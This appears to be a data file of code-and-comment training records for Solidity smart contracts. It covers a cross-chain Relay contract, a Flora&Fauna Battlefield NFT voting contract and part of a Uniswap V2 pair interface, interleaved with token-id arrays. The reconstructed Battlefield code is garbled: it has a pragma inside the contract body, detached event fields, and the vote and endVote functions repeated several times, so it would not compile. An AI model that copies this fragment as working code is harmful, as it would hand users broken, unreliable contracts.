/// `amount0` of gton swaped for native tokens via '#routeValue'
/// `amount1` of native tokens sent to the `user` via '#routeValue'
event DeliverRelay(address user, uint256 amount0, uint256 amount1);
/// @notice Event emitted when the RelayTopic is set via '#setRelayTopic'
/// @param topicOld The previous topic
/// @param topicNew The new topic
event SetRelayTopic(bytes32 indexed topicOld, bytes32 indexed topicNew);
/// @notice Event emitted when the wallet is set via '#setWallet'
/// @param walletOld The previous wallet address
/// @param walletNew The new wallet address
event SetWallet(address indexed walletOld, address indexed walletNew);
/// @notice Event emitted when permission for a chain is set via '#setIsAllowedChain'
/// @param chain Name of blockchain whose permission is changed, i.e. "FTM", "PLG"
/// @param newBool Updated permission
event SetIsAllowedChain(string chain, bool newBool);
/// @notice Event emitted when fees are set via '#setFees'
/// @param _feeMin Minimum fee
/// @param _feePercent Percentage fee
event SetFees(string destination, uint256 _feeMin, uint256 _feePercent);
/// @notice Event emitted when limits are set via '#setLimits'
/// @param _lowerLimit Minimum fee
/// @param _upperLimit Percentage fee
event SetLimits(string destination, uint256 _lowerLimit, uint256 _upperLimit);
}
/// @title Relay
/// @author Artemij Artamonov - <[email protected]>
/// @author Anton Davydov - <[email protected]>
contract Relay is IRelay {
/// @inheritdoc IOracleRouterV2
address public override owner;
modifier isOwner() {
require(msg.sender == owner, "ACW");
_;
}
/// @inheritdoc IRelay
IWETH public override wnative;
/// @inheritdoc IRelay
IUniswapV2Router01 public override router;
/// @inheritdoc IRelay
IERC20 public override gton;
/// @inheritdoc IRelay
mapping (string => uint256) public override feeMin;
/// @inheritdoc IRelay
/// @dev 30000 = 30%, 200 = 0.2%, 1 = 0.001%
mapping (string => uint256) public override feePercent;
/// @inheritdoc IRelay
mapping(string => uint256) public override lowerLimit;
/// @inheritdoc IRelay
mapping(string => uint256) public override upperLimit;
/// @inheritdoc IRelay
bytes32 public override relayTopic;
/// @inheritdoc IOracleRouterV2
mapping(address => bool) public override canRoute;
/// @inheritdoc IRelay
mapping(string => bool) public override isAllowedChain;
receive() external payable {
// only accept ETH via fallback from the WETH contract
assert(msg.sender == address(wnative));
}
constructor (
IWETH _wnative,
IUniswapV2Router01 _router,
IERC20 _gton,
bytes32 _relayTopic,
string[] memory allowedChains,
uint[2][] memory fees,
uint[2][] memory limits
) {
owner = msg.sender;
wnative = _wnative;
router = _router;
gton = _gton;
relayTopic = _relayTopic;
for (uint256 i = 0; i < allowedChains.length; i++) {
isAllowedChain[allowedChains[i]] = true;
feeMin[allowedChains[i]] = fees[i][0];
feePercent[allowedChains[i]] = fees[i][1];
lowerLimit[allowedChains[i]] = limits[i][0];
upperLimit[allowedChains[i]] = limits[i][1];
}
}
/// @inheritdoc IOracleRouterV2
function setOwner(address _owner) external override isOwner {
address ownerOld = owner;
owner = _owner;
emit SetOwner(ownerOld, _owner);
}
/// @inheritdoc IRelay
function setIsAllowedChain(string calldata chain, bool newBool)
external
override
isOwner
{
isAllowedChain[chain] = newBool;
emit SetIsAllowedChain(chain, newBool);
}
/// @inheritdoc IRelay
function setFees(string calldata destination, uint256 _feeMin, uint256 _feePercent) external override isOwner {
feeMin[destination] = _feeMin;
feePercent[destination] = _feePercent;
emit SetFees(destination, _feeMin, _feePercent);
}
/// @inheritdoc IRelay
function setLimits(string calldata destination, uint256 _lowerLimit, uint256 _upperLimit) external override isOwner {
lowerLimit[destination] = _lowerLimit;
upperLimit[destination] = _upperLimit;
emit SetLimits(destination, _lowerLimit, _upperLimit);
}
/// @inheritdoc IRelay
function lock(string calldata destination, bytes calldata receiver) external payable override {
require(isAllowedChain[destination], "R1");
require(msg.value > lowerLimit[destination], "R2");
require(msg.value < upperLimit[destination], "R3");
// wrap native tokens
wnative.deposit{value: msg.value}();
// trade wrapped native tokens for relay tokens
wnative.approve(address(router), msg.value);
address[] memory path = new address[](2);
path[0] = address(wnative);
path[1] = address(gton);
uint256[] memory amounts = router.swapExactTokensForTokens(msg.value, 0, path, address(this), block.timestamp+3600);
// subtract fee
uint256 amountMinusFee;
uint256 fee = amounts[1] * feePercent[destination] / 100000;
if (fee > feeMin[destination]) {
amountMinusFee = amounts[1] - fee;
} else {
amountMinusFee = amounts[1] - feeMin[destination];
}
emit CalculateFee(amounts[0], amounts[1], feeMin[destination], feePercent[destination], fee, amountMinusFee);
// check that remainder after subtracting fees is larger than 0
require(amountMinusFee > 0, "R4");
// emit event to notify oracles and initiate crosschain transfer
emit Lock(destination, receiver, destination, receiver, amountMinusFee);
}
/// @inheritdoc IRelay
function reclaimERC20(IERC20 token, uint256 amount) external override isOwner {
token.transfer(msg.sender, amount);
}
/// @inheritdoc IRelay
function reclaimNative(uint256 amount) external override isOwner {
payable(msg.sender).transfer(amount);
}
/// @inheritdoc IOracleRouterV2
function setCanRoute(address parser, bool _canRoute)
external
override
isOwner
{
canRoute[parser] = _canRoute;
emit SetCanRoute(msg.sender, parser, canRoute[parser]);
}
/// @inheritdoc IRelay
function setRelayTopic(bytes32 _relayTopic) external override isOwner {
bytes32 topicOld = relayTopic;
relayTopic = _relayTopic;
emit SetRelayTopic(topicOld, _relayTopic);
}
function equal(bytes32 a, bytes32 b) internal pure returns (bool) {
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
function deserializeUint(
bytes memory b,
uint256 startPos,
uint256 len
) internal pure returns (uint256) {
uint256 v = 0;
for (uint256 p = startPos; p < startPos + len; p++) {
v = v * 256 + uint256(uint8(b[p]));
}
return v;
}
function deserializeAddress(bytes memory b, uint256 startPos)
internal
pure
returns (address)
{
return address(uint160(deserializeUint(b, startPos, 20)));
}
/// @inheritdoc IOracleRouterV2
function routeValue(
bytes16 uuid,
string memory chain,
bytes memory emiter,
bytes32 topic0,
bytes memory token,
bytes memory sender,
bytes memory receiver,
uint256 amount
) external override {
require(canRoute[msg.sender], "ACR");
if (equal(topic0, relayTopic)) {
// trade relay tokens for wrapped native tokens
gton.approve(address(router), amount);
address[] memory path = new address[](2);
path[0] = address(gton);
path[1] = address(wnative);
uint[] memory amounts = router.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp+3600);
// unwrap to get native tokens
wnative.withdraw(amounts[1]);
// transfer native tokens to the receiver
address payable user = payable(deserializeAddress(receiver, 0));
user.transfer(amounts[1]);
emit DeliverRelay(user, amounts[0], amounts[1]);
}
emit RouteValue(uuid, chain, emiter, token, sender, receiver, amount);
}
}
|
only accept ETH via fallback from the WETH contract
|
receive() external payable {
assert(msg.sender == address(wnative));
}
constructor (
IWETH _wnative,
IUniswapV2Router01 _router,
IERC20 _gton,
bytes32 _relayTopic,
string[] memory allowedChains,
uint[2][] memory fees,
uint[2][] memory limits
| 1,992,818 |
[
1,
3700,
2791,
512,
2455,
3970,
5922,
628,
326,
678,
1584,
44,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
6798,
1435,
3903,
8843,
429,
288,
203,
3639,
1815,
12,
3576,
18,
15330,
422,
1758,
12,
91,
13635,
10019,
203,
565,
289,
203,
203,
565,
3885,
261,
203,
3639,
467,
59,
1584,
44,
389,
91,
13635,
16,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
1611,
389,
10717,
16,
203,
3639,
467,
654,
39,
3462,
389,
75,
1917,
16,
203,
3639,
1731,
1578,
389,
2878,
528,
6657,
16,
203,
3639,
533,
8526,
3778,
2935,
15945,
16,
203,
3639,
2254,
63,
22,
6362,
65,
3778,
1656,
281,
16,
203,
3639,
2254,
63,
22,
6362,
65,
3778,
8181,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "./BattleBase.sol";
/**
* @title Battlefield of fighting for next generation
* @notice Define voting system on battlefield
* @author Justa Liang
*/
contract Battlefield is BattleBase, ERC721URIStorage {
/// @dev Proposal contents
struct Proposal {
address proposer;
string prefixURI;
uint voteCount;
}
/// @notice All the proposals
Proposal[] public proposals;
/// @notice Latest generation in which field has voted
mapping (uint => uint) public fieldGeneration;
/// @notice Latest time updated for proposal or vote
uint public updateTime;
/// @notice Time interval of proposal state
uint public propInterval;
/// @notice Time interval of vote state
uint public voteInterval;
/// @notice One generation means going through proposal and vote
uint public generation;
/// @notice Name of assembly metadata of the medal designs
string public seriesName;
/// @notice Slotting fee for making a proposal
uint public slottingFee;
/// @notice Emit when someone propose
event Propose(
address indexed proposer,
uint proposalID,
string prefixURI
);
/// @notice Emit when someone vote behalf of field
event Vote(
uint indexed fieldID,
address indexed voter,
uint indexed proposalID,
uint voteCount
);
/// @notice Emit the winning proposal's info
event Winner(
uint indexed generation,
address indexed winner,
string tokenURI,
uint proposalCount,
uint voteCount,
uint totalArea,
bool floraWin,
bool faunaWin
);
/**
* @dev Set addresses of interactive contracts
* @param floraArmyAddr Address of FloraArmy contract
* @param faunaArmyAddr Address of FaunaArmy contract
*/
constructor(address floraArmyAddr, address faunaArmyAddr)
BattleBase(floraArmyAddr, faunaArmyAddr)
ERC721("Flora&Fauna Battlefield", "F&F-BTF")
{
generation = 1;
propInterval = 30 days;
voteInterval = 5 days;
seriesName = "series.json";
slottingFee = 1e12 wei;
updateTime = block.timestamp;
}
/**
* @notice Get number of current proposals
* @return Number of current proposals
*/
function getProposalCount() external view returns (uint) {
return proposals.length;
}
/**
* @notice Get details of all proposals
* @return Details of all proposals
*/
function getAllProposalInfo() external view
returns (Proposal[] memory) {
return proposals;
}
/**
* @notice Propose for new style of medals
* @param prefixURI Prefix of the URI
*/
function propose(string calldata prefixURI) payable external propState {
require(
msg.value >= slottingFee,
"Battlefield: not enough slotting fee");
proposals.push(Proposal(msg.sender, prefixURI, 0));
emit Propose(msg.sender, proposals.length-1, prefixURI);
}
/**
* @notice Start the vote state
*/
function startVote() external propState {
require(
proposals.length > 1,
"Battlefield: not enough proposals");
uint currentTime = block.timestamp;
require(
currentTime >= updateTime + propInterval,
"Battlefield: not yet to start vote");
updateTime = currentTime;
fieldLocked = true;
}
/**
* @notice Vote behalf of certain field
* @param fieldID ID of the field
* @param proposalID ID of the proposal
*/
function vote(uint fieldID, uint proposalID) external voteState {
require(
fieldGeneration[fieldID] < generation,
"Battlefield: field has voted in this generation");
uint[] memory defender = fieldDefender[fieldID];
require(
defender.length > 0,
"Battlefield: empty field can't vote");
if (isFloraField[fieldID]) {
require(
floraArmy.ownerOf(defender[0]) == msg.sender,
"Battlefield: not leader");
require(
floraFieldCount >= faunaFieldCount,
"Battlefield: you're loser side");
}
else {
require(
faunaArmy.ownerOf(defender[0]) == msg.sender,
"Battlefield: not leader");
require(
faunaFieldCount >= floraFieldCount,
"Battlefield: you're loser side");
}
Proposal storage target = proposals[proposalID];
target.voteCount++;
fieldGeneration[fieldID] = generation;
emit Vote(fieldID, msg.sender, proposalID, target.voteCount);
}
/**
* @notice End the vote state, change medal styles and mint an assembly metadata to winner
*/
function endVote() external voteState {
uint currentTime = block.timestamp;
require(
currentTime >= updateTime + voteInterval,
"Battlefield: not yet to end vote");
updateTime = currentTime;
uint maxVote = 0;
uint maxIdx = 0;
for (uint i = 0; i < proposals.length; i++) {
if (proposals[i].voteCount > maxVote) {
maxVote = proposals[i].voteCount;
maxIdx = i;
}
}
Proposal memory winning = proposals[maxIdx];
bool floraWin = false;
bool faunaWin = false;
if (floraFieldCount >= faunaFieldCount) {
floraArmy.updateBaseURI(winning.prefixURI);
floraWin = true;
}
if (faunaFieldCount >= floraFieldCount) {
faunaArmy.updateBaseURI(winning.prefixURI);
faunaWin = true;
}
_safeMint(winning.proposer, generation);
_setTokenURI(generation, string(abi.encodePacked(winning.prefixURI, seriesName)));
delete proposals;
fieldLocked = false;
emit Winner(generation,
winning.proposer,
tokenURI(generation),
proposals.length,
winning.voteCount,
totalArea,
floraWin,
faunaWin);
generation++;
}
/// @dev Check if under vote state
modifier voteState() {
require(fieldLocked, "Battlefield: not in proposal state");
_;
}
/// @dev Check if under proposal state
modifier propState() {
require(!fieldLocked, "Battlefield: not in vote state");
_;
}
/**
* @dev Claim the funds from slotting fee
* @param amount Amount of Ether
* @param receiver Address of receiver
*/
function claimFunds(uint amount, address payable receiver) external onlyOwner {
receiver.transfer(amount);
}
function changePropInterval(uint propInterval_) external onlyOwner {
propInterval = propInterval_;
}
function changeVoteInterval(uint voteInterval_) external onlyOwner {
voteInterval = voteInterval_;
}
function changeSlottingFee(uint slottingFee_) external onlyOwner {
slottingFee = slottingFee_;
}
function changeSeriesName(string calldata seriesName_) external onlyOwner {
seriesName = seriesName_;
}
}
|
* @title Battlefield of fighting for next generation @notice Define voting system on battlefield @author Justa Liang/
|
contract Battlefield is BattleBase, ERC721URIStorage {
pragma solidity ^0.8.0;
struct Proposal {
address proposer;
string prefixURI;
uint voteCount;
}
address indexed proposer,
uint proposalID,
string prefixURI
);
uint indexed fieldID,
address indexed voter,
uint indexed proposalID,
uint voteCount
);
uint indexed generation,
address indexed winner,
string tokenURI,
uint proposalCount,
uint voteCount,
uint totalArea,
bool floraWin,
bool faunaWin
);
BattleBase(floraArmyAddr, faunaArmyAddr)
ERC721("Flora&Fauna Battlefield", "F&F-BTF")
Proposal[] public proposals;
mapping (uint => uint) public fieldGeneration;
uint public updateTime;
uint public propInterval;
uint public voteInterval;
uint public generation;
string public seriesName;
uint public slottingFee;
event Propose(
event Vote(
event Winner(
constructor(address floraArmyAddr, address faunaArmyAddr)
{
generation = 1;
propInterval = 30 days;
voteInterval = 5 days;
seriesName = "series.json";
slottingFee = 1e12 wei;
updateTime = block.timestamp;
}
function getProposalCount() external view returns (uint) {
return proposals.length;
}
function getAllProposalInfo() external view
returns (Proposal[] memory) {
return proposals;
}
function propose(string calldata prefixURI) payable external propState {
require(
msg.value >= slottingFee,
"Battlefield: not enough slotting fee");
proposals.push(Proposal(msg.sender, prefixURI, 0));
emit Propose(msg.sender, proposals.length-1, prefixURI);
}
function startVote() external propState {
require(
proposals.length > 1,
"Battlefield: not enough proposals");
uint currentTime = block.timestamp;
require(
currentTime >= updateTime + propInterval,
"Battlefield: not yet to start vote");
updateTime = currentTime;
fieldLocked = true;
}
function vote(uint fieldID, uint proposalID) external voteState {
require(
fieldGeneration[fieldID] < generation,
"Battlefield: field has voted in this generation");
uint[] memory defender = fieldDefender[fieldID];
require(
defender.length > 0,
"Battlefield: empty field can't vote");
if (isFloraField[fieldID]) {
require(
floraArmy.ownerOf(defender[0]) == msg.sender,
"Battlefield: not leader");
require(
floraFieldCount >= faunaFieldCount,
"Battlefield: you're loser side");
}
else {
require(
faunaArmy.ownerOf(defender[0]) == msg.sender,
"Battlefield: not leader");
require(
faunaFieldCount >= floraFieldCount,
"Battlefield: you're loser side");
}
Proposal storage target = proposals[proposalID];
target.voteCount++;
fieldGeneration[fieldID] = generation;
emit Vote(fieldID, msg.sender, proposalID, target.voteCount);
}
function vote(uint fieldID, uint proposalID) external voteState {
require(
fieldGeneration[fieldID] < generation,
"Battlefield: field has voted in this generation");
uint[] memory defender = fieldDefender[fieldID];
require(
defender.length > 0,
"Battlefield: empty field can't vote");
if (isFloraField[fieldID]) {
require(
floraArmy.ownerOf(defender[0]) == msg.sender,
"Battlefield: not leader");
require(
floraFieldCount >= faunaFieldCount,
"Battlefield: you're loser side");
}
else {
require(
faunaArmy.ownerOf(defender[0]) == msg.sender,
"Battlefield: not leader");
require(
faunaFieldCount >= floraFieldCount,
"Battlefield: you're loser side");
}
Proposal storage target = proposals[proposalID];
target.voteCount++;
fieldGeneration[fieldID] = generation;
emit Vote(fieldID, msg.sender, proposalID, target.voteCount);
}
function vote(uint fieldID, uint proposalID) external voteState {
require(
fieldGeneration[fieldID] < generation,
"Battlefield: field has voted in this generation");
uint[] memory defender = fieldDefender[fieldID];
require(
defender.length > 0,
"Battlefield: empty field can't vote");
if (isFloraField[fieldID]) {
require(
floraArmy.ownerOf(defender[0]) == msg.sender,
"Battlefield: not leader");
require(
floraFieldCount >= faunaFieldCount,
"Battlefield: you're loser side");
}
else {
require(
faunaArmy.ownerOf(defender[0]) == msg.sender,
"Battlefield: not leader");
require(
faunaFieldCount >= floraFieldCount,
"Battlefield: you're loser side");
}
Proposal storage target = proposals[proposalID];
target.voteCount++;
fieldGeneration[fieldID] = generation;
emit Vote(fieldID, msg.sender, proposalID, target.voteCount);
}
function endVote() external voteState {
uint currentTime = block.timestamp;
require(
currentTime >= updateTime + voteInterval,
"Battlefield: not yet to end vote");
updateTime = currentTime;
uint maxVote = 0;
uint maxIdx = 0;
for (uint i = 0; i < proposals.length; i++) {
if (proposals[i].voteCount > maxVote) {
maxVote = proposals[i].voteCount;
maxIdx = i;
}
}
Proposal memory winning = proposals[maxIdx];
bool floraWin = false;
bool faunaWin = false;
if (floraFieldCount >= faunaFieldCount) {
floraArmy.updateBaseURI(winning.prefixURI);
floraWin = true;
}
if (faunaFieldCount >= floraFieldCount) {
faunaArmy.updateBaseURI(winning.prefixURI);
faunaWin = true;
}
_safeMint(winning.proposer, generation);
_setTokenURI(generation, string(abi.encodePacked(winning.prefixURI, seriesName)));
delete proposals;
fieldLocked = false;
emit Winner(generation,
winning.proposer,
tokenURI(generation),
proposals.length,
winning.voteCount,
totalArea,
floraWin,
faunaWin);
generation++;
}
function endVote() external voteState {
uint currentTime = block.timestamp;
require(
currentTime >= updateTime + voteInterval,
"Battlefield: not yet to end vote");
updateTime = currentTime;
uint maxVote = 0;
uint maxIdx = 0;
for (uint i = 0; i < proposals.length; i++) {
if (proposals[i].voteCount > maxVote) {
maxVote = proposals[i].voteCount;
maxIdx = i;
}
}
Proposal memory winning = proposals[maxIdx];
bool floraWin = false;
bool faunaWin = false;
if (floraFieldCount >= faunaFieldCount) {
floraArmy.updateBaseURI(winning.prefixURI);
floraWin = true;
}
if (faunaFieldCount >= floraFieldCount) {
faunaArmy.updateBaseURI(winning.prefixURI);
faunaWin = true;
}
_safeMint(winning.proposer, generation);
_setTokenURI(generation, string(abi.encodePacked(winning.prefixURI, seriesName)));
delete proposals;
fieldLocked = false;
emit Winner(generation,
winning.proposer,
tokenURI(generation),
proposals.length,
winning.voteCount,
totalArea,
floraWin,
faunaWin);
generation++;
}
function endVote() external voteState {
uint currentTime = block.timestamp;
require(
currentTime >= updateTime + voteInterval,
"Battlefield: not yet to end vote");
updateTime = currentTime;
uint maxVote = 0;
uint maxIdx = 0;
for (uint i = 0; i < proposals.length; i++) {
if (proposals[i].voteCount > maxVote) {
maxVote = proposals[i].voteCount;
maxIdx = i;
}
}
Proposal memory winning = proposals[maxIdx];
bool floraWin = false;
bool faunaWin = false;
if (floraFieldCount >= faunaFieldCount) {
floraArmy.updateBaseURI(winning.prefixURI);
floraWin = true;
}
if (faunaFieldCount >= floraFieldCount) {
faunaArmy.updateBaseURI(winning.prefixURI);
faunaWin = true;
}
_safeMint(winning.proposer, generation);
_setTokenURI(generation, string(abi.encodePacked(winning.prefixURI, seriesName)));
delete proposals;
fieldLocked = false;
emit Winner(generation,
winning.proposer,
tokenURI(generation),
proposals.length,
winning.voteCount,
totalArea,
floraWin,
faunaWin);
generation++;
}
function endVote() external voteState {
uint currentTime = block.timestamp;
require(
currentTime >= updateTime + voteInterval,
"Battlefield: not yet to end vote");
updateTime = currentTime;
uint maxVote = 0;
uint maxIdx = 0;
for (uint i = 0; i < proposals.length; i++) {
if (proposals[i].voteCount > maxVote) {
maxVote = proposals[i].voteCount;
maxIdx = i;
}
}
Proposal memory winning = proposals[maxIdx];
bool floraWin = false;
bool faunaWin = false;
if (floraFieldCount >= faunaFieldCount) {
floraArmy.updateBaseURI(winning.prefixURI);
floraWin = true;
}
if (faunaFieldCount >= floraFieldCount) {
faunaArmy.updateBaseURI(winning.prefixURI);
faunaWin = true;
}
_safeMint(winning.proposer, generation);
_setTokenURI(generation, string(abi.encodePacked(winning.prefixURI, seriesName)));
delete proposals;
fieldLocked = false;
emit Winner(generation,
winning.proposer,
tokenURI(generation),
proposals.length,
winning.voteCount,
totalArea,
floraWin,
faunaWin);
generation++;
}
function endVote() external voteState {
uint currentTime = block.timestamp;
require(
currentTime >= updateTime + voteInterval,
"Battlefield: not yet to end vote");
updateTime = currentTime;
uint maxVote = 0;
uint maxIdx = 0;
for (uint i = 0; i < proposals.length; i++) {
if (proposals[i].voteCount > maxVote) {
maxVote = proposals[i].voteCount;
maxIdx = i;
}
}
Proposal memory winning = proposals[maxIdx];
bool floraWin = false;
bool faunaWin = false;
if (floraFieldCount >= faunaFieldCount) {
floraArmy.updateBaseURI(winning.prefixURI);
floraWin = true;
}
if (faunaFieldCount >= floraFieldCount) {
faunaArmy.updateBaseURI(winning.prefixURI);
faunaWin = true;
}
_safeMint(winning.proposer, generation);
_setTokenURI(generation, string(abi.encodePacked(winning.prefixURI, seriesName)));
delete proposals;
fieldLocked = false;
emit Winner(generation,
winning.proposer,
tokenURI(generation),
proposals.length,
winning.voteCount,
totalArea,
floraWin,
faunaWin);
generation++;
}
modifier voteState() {
require(fieldLocked, "Battlefield: not in proposal state");
_;
}
modifier propState() {
require(!fieldLocked, "Battlefield: not in vote state");
_;
}
function claimFunds(uint amount, address payable receiver) external onlyOwner {
receiver.transfer(amount);
}
function changePropInterval(uint propInterval_) external onlyOwner {
propInterval = propInterval_;
}
function changeVoteInterval(uint voteInterval_) external onlyOwner {
voteInterval = voteInterval_;
}
function changeSlottingFee(uint slottingFee_) external onlyOwner {
slottingFee = slottingFee_;
}
function changeSeriesName(string calldata seriesName_) external onlyOwner {
seriesName = seriesName_;
}
}
| 12,890,901 |
[
1,
38,
4558,
298,
1518,
434,
284,
750,
310,
364,
1024,
9377,
225,
13184,
331,
17128,
2619,
603,
324,
4558,
298,
1518,
225,
12526,
69,
27897,
539,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
605,
4558,
298,
1518,
353,
605,
4558,
298,
2171,
16,
4232,
39,
27,
5340,
3098,
3245,
288,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
565,
1958,
19945,
288,
203,
3639,
1758,
450,
5607,
31,
203,
3639,
533,
1633,
3098,
31,
203,
3639,
2254,
12501,
1380,
31,
203,
565,
289,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
3639,
1758,
8808,
450,
5607,
16,
203,
3639,
2254,
14708,
734,
16,
203,
3639,
533,
1633,
3098,
203,
565,
11272,
203,
203,
3639,
2254,
8808,
652,
734,
16,
203,
3639,
1758,
8808,
331,
20005,
16,
203,
3639,
2254,
8808,
14708,
734,
16,
203,
3639,
2254,
12501,
1380,
203,
565,
11272,
203,
203,
3639,
2254,
8808,
9377,
16,
203,
3639,
1758,
8808,
5657,
1224,
16,
203,
3639,
533,
1147,
3098,
16,
203,
3639,
2254,
14708,
1380,
16,
203,
3639,
2254,
12501,
1380,
16,
203,
3639,
2254,
2078,
5484,
16,
203,
3639,
1426,
1183,
10610,
18049,
16,
203,
3639,
1426,
11087,
31172,
18049,
203,
565,
11272,
203,
203,
3639,
605,
4558,
298,
2171,
12,
2242,
10610,
686,
4811,
3178,
16,
11087,
31172,
686,
4811,
3178,
13,
203,
3639,
4232,
39,
27,
5340,
2932,
2340,
10610,
10,
29634,
31172,
605,
4558,
298,
1518,
3113,
315,
42,
10,
42,
17,
38,
17963,
7923,
203,
565,
19945,
8526,
1071,
450,
22536,
31,
203,
565,
2874,
261,
11890,
516,
2254,
13,
1071,
652,
13842,
31,
203,
565,
2254,
1071,
1089,
950,
31,
203,
565,
2254,
1071,
2270,
4006,
31,
203,
565,
2254,
1071,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
